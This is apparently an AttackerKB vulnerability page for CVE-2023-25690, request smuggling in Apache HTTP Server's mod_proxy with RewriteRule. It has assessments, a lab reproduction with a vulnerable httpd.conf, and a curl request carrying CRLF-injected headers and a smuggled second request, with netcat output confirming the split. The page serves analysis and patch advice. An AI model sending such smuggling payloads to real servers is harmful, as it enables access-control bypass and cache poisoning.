High
CVE-2023-25690
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
CVE-2023-25690
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
Some mod_proxy configurations on Apache HTTP Server versions 2.4.0 through 2.4.55 allow a HTTP Request Smuggling attack.
Configurations are affected when mod_proxy is enabled along with some form of RewriteRule
or ProxyPassMatch in which a non-specific pattern matches
some portion of the user-supplied request-target (URL) data and is then
re-inserted into the proxied request-target using variable
substitution. For example, something like:
RewriteEngine on
RewriteRule “^/here/(.*)” “http://example.com:8080/elsewhere?$1”; [P]
ProxyPassReverse /here/ http://example.com:8080/
Request splitting/smuggling could result in bypass of access controls in the proxy server, proxying unintended URLs to existing origin servers, and cache poisoning. Users are recommended to update to at least version 2.4.56 of Apache HTTP Server.
Add Assessment
Ratings
-
Attacker ValueHigh
-
ExploitabilityVery Low
Technical Analysis
This issue requires a fairly specific configuration to work. First, Apache has to be configured in a pretty specific way – a RewriteRule
that passes user-controlled data into a query string. This line, from our configuration file above, is exploitable, as the $1
(user data) is after the ?
(start of the query string):
RewriteRule "^/(.*)" "http://localhost:8081/?arg=$1" [P]
Whereas even a small change will break the exploit; this does not work:
RewriteRule "^/(.*)" "http://localhost:8081/$1" [P]
Additionally, this must be a security boundary — that is, smuggling an HTTP request must bypass some sort of access control check. We put together a Github search that tries to find software that would be exploitable if it was running on a vulnerable version of Apache, but nothing stands out as particularly interesting.
Applications and devices that come as complete images with multiple servers (such as a lot of enterprise software) would probably be better targets, but checking each one is difficult. We looked into this as an alternative way to exploit CVE-2022-1388, since the core of that vulnerability involved bypassing a reverse proxy’s security checks, but its configuration is not vulnerable to CVE-2023-25690.
The final place we’d expect to see vulnerabilities is in reverse proxies that are configured to enforce some kind of ACL check or filtering, and that also do URL rewriting. One would have to test the specific configuration and application(s) that are being proxied; there’s no easy way to scan for this sort of issue.
While we are not aware of any specific applications that are vulnerable to this, they may turn up as people investigate this vulnerability more.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportRatings
Technical Analysis
A July 2024 bulletin from multiple U.S. government agencies indicates that North Korean state-sponsored attackers have demonstrated interest in this vulnerability — not immediately clear whether it was exploited or just used in reconnaissance/target selection: https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Vendors
- apache
Products
- http server
References
Miscellaneous
Additional Info
Technical Analysis
Description
On March 7, 2023, the Apache Foundation posted an advisory stating that CVE-2023-25690 had been fixed in Apache HTTP Server 2.4.56. The fix, merged on March 5, prevents control characters from being submitted as part of a proxied request. Its CVSS base score is 9.8, as this can theoretically bypass access controls.
The issue seemed to go largely unnoticed until May 21, 2023, when a researcher who goes by dhmosfunk published a proof of concept, which demonstrated how this vulnerability can be used for both header-injection and request-smuggling attacks against a theoretical vulnerable application that they themselves developed.
For a real application to be affected, several factors must be present:
- The application must be running on a vulnerable version of Apache HTTP Server (2.4.55 and earlier)
- The Apache server’s configuration must have
RewriteRule
that copies data into the query string of a proxied URL
- The application must treat the proxy as a meaningful security boundary
So far, we are not aware of any vulnerable applications; however, we wouldn’t be surprised if some exist (particularly bespoke applications and proxies). Since a proof of concept exists, and this issue is very easy to exploit, if somebody DOES find a vulnerable application it will likely be exploited very quickly.
Technical analysis
To understand this vulnerability, we’ll create an Apache HTTP Server with a minimal httpd.conf
file, based on the advisory:
# Required stuff LoadModule mpm_event_module modules/mod_mpm_event.so LoadModule authz_core_module modules/mod_authz_core.so LoadModule unixd_module modules/mod_unixd.so Listen 80 User www-data Group www-data # The vulnerable rewrite/proxy modules LoadModule rewrite_module modules/mod_rewrite.so LoadModule proxy_module modules/mod_proxy.so LoadModule proxy_http_module modules/mod_proxy_http.so # Turn on the RewriteEngine RewriteEngine on # Create a rule that redirects the full URL to the query-string of another server RewriteRule "^/(.*)" "http://localhost:8081/?arg=$1" [P]
Then fire up Apache HTTP Server 2.4.55 (the most recent vulnerable version) in Docker, mounting that config file into the container (the configuration file should also work outside of Docker):
$ docker run --network=host --rm --volume $PWD/httpd.conf:/usr/local/apache2/conf/httpd.conf -it httpd:2.4.55 AH00558: httpd: Could not reliably determine the server's fully qualified domain name, using 172.16.166.147. Set the 'ServerName' directive globally to suppress this message
We pass the argument --network=host
to ensure the proxy’s connection to localhost:8081
works; the rest of that command is pretty standard fare for docker run
.
In another window, run an ncat
listener on port 8081; this will serve as the backend. By adding </dev/null
, we also close the connection immediately after receiving data (the proxy will think the backend is down, which is fine):
$ nc -l -p 8081 </dev/null
Once the Apache HTTP Server is running, and Netcat is ready to catch our proxied requests, send a request to the server with newline characters and a second request built in:
$ curl 'http://127.0.0.1/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/ohnosmuggled/hi' <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>502 Proxy Error</title> </head><body> <h1>Proxy Error</h1> <p>The proxy server received an invalid response from an upstream server.<br /> The proxy server could not handle the request<p>Reason: <strong>Error reading from remote server</strong></p></p> </body></html>
While the response returns an error, if we check the ncat
listener, we’ll see that two separate requests arrived:
$ nc -l -p 8081 </dev/null GET /?arg=1 HTTP/1.1 Host: localhost GET /ohnosmuggled/hi HTTP/1.1 Host: localhost:8081 User-Agent: curl/7.79.1 Accept: */* X-Forwarded-For: 127.0.0.1 X-Forwarded-Host: 127.0.0.1 X-Forwarded-Server: 172.16.166.147 Connection: close
If those requests went to a web server instead of ncat
, they’d be handled as two separate requests.
Guidance
We suggest updating Apache version 2.4.56 (or higher), especially if your services are using RewriteRule
entries.
References
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Thanks for sharing;
Why the setting below will not work?
RewriteRule “^/(.*)” “http://localhost:8081/$1” [P]